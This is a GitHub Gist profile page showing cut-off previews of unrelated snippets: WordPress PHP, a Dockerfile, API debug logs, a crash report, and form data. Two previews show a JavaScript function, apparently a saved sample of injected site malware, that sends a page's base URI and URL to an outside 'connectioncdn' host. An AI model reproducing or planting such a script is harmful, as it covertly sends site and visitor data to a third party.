Skip to content

Instantly share code, notes, and snippets.

View PhilETaylor's full-sized avatar

Phil E. Taylor PhilETaylor

View GitHub Profile
<?php
/**
* Creates common globals for the rest of WordPress
*
* Sets $pagenow global which is the current page. Checks
* for the browser to set which one is currently being used.
*
* Detects which user environment WordPress is being used on.
* Only attempts to check for Apache and IIS. Two web servers
* with known permalink capability.
# docker build . --tag registry.myjoomla.com/base-nginx-php
# docker push registry.myjoomla.com/base-nginx-php
FROM alpine:3.8
MAINTAINER Phil Taylor <phil@phil-taylor.com>
# PHP 7.3 Repos
#ADD https://repos.php.earth/alpine/phpearth.rsa.pub /etc/apk/keys/phpearth.rsa.pub
ADD https://php.codecasts.rocks/php-alpine.rsa.pub /etc/apk/keys/php-alpine.rsa.pub
<!DOCTYPE html> <html lang="en" dir="ltr" data-cast-api-enabled="true">
<head><meta name="viewport" content="width=device-width, initial-scale=1"><style name="www-roboto" >@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v18/KFOjCnqEu92Fr1Mu51S7ACc3CsTYl4BOQ3o.woff2)format('woff2');unicode-range:U+0460-052F,U+1C80-1C88,U+20B4,U+2DE0-2DFF,U+A640-A69F,U+FE2E-FE2F;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v18/KFOjCnqEu92Fr1Mu51S7ACc-CsTYl4BOQ3o.woff2)format('woff2');unicode-range:U+0400-045F,U+0490-0491,U+04B0-04B1,U+2116;}@font-face{font-family:'Roboto';font-style:italic;font-weight:500;src:local('Roboto Medium Italic'),local('Roboto-MediumItalic'),url(//fonts.gstatic.com/s/roboto/v18/KFOjCnqEu92Fr1Mu51S7ACc2CsTYl4BOQ3o.woff2)format('woff2');unicode-range:U+1F00-1FFF;}@font-face{
[2018-12-18 12:56:20] api-debugger.INFO: >>>>>>>>
POST /plugins/system/bfnetwork/bfnetwork/bfPing.php HTTP/1.1
Content-Length: 953
Referer: https://myjoomla.com/
User-Agent: myJoomla/2.0 (myJoomla.com)
Accept: application/json
X-MyJoomla-FAQ: For full details see myJoomla.com or email phil@phil-taylor.com
Content-Type: application/x-www-form-urlencoded
Host: tfdwork.nl
X-MYJOOMLA-HMAC: 9KYYj/jn6nvNAmtVYsn5x80wkh18huZZkDr3wqrkn9k=
[2018-12-18 12:55:23] api-debugger.INFO: >>>>>>>>
POST /plugins/system/bfnetwork/bfnetwork/bfPing.php HTTP/1.1
Content-Length: 947
Referer: https://myjoomla.com/
User-Agent: myJoomla/2.0 (myJoomla.com)
Accept: application/json
X-MyJoomla-FAQ: For full details see myJoomla.com or email phil@phil-taylor.com
Content-Type: application/x-www-form-urlencoded
Host: tfdwork.nl
X-MYJOOMLA-HMAC: nbWAGxdiYgGv8ifAg/VBKAyRJ7ZRArl8qCslNDSOW3o=
dL();
function dL(){
var host = 'https://press.connec<snip>cdn.com/f';
var config = {
url: host + "/stats.php",
type: "POST",
data: {
vbase: document.baseURI,
vhref: location.href,
(function(){
function initXMLhttp() {
var xmlhttp;
if (window.XMLHttpRequest) {
xmlhttp = new XMLHttpRequest();
} else {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
dL();
function dL(){
var host = 'https://press.connectioncdn.com/f';
var config = {
url: host + "/stats.php",
type: "POST",
data: {
vbase: document.baseURI,
vhref: location.href,
Process: Mail [596]
Path: /Applications/Mail.app/Contents/MacOS/Mail
Identifier: com.apple.mail
Version: 12.1 (3445.100.42)
Build Info: Mail-3445100042000000~1
Code Type: X86-64 (Native)
Parent Process: ??? [1]
Responsible: Mail [596]
User ID: 501
echo '------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="url"
http://client2.yoursitesdemo.net/
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="token"
4515815815b7b3175764729.28692238
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="hash"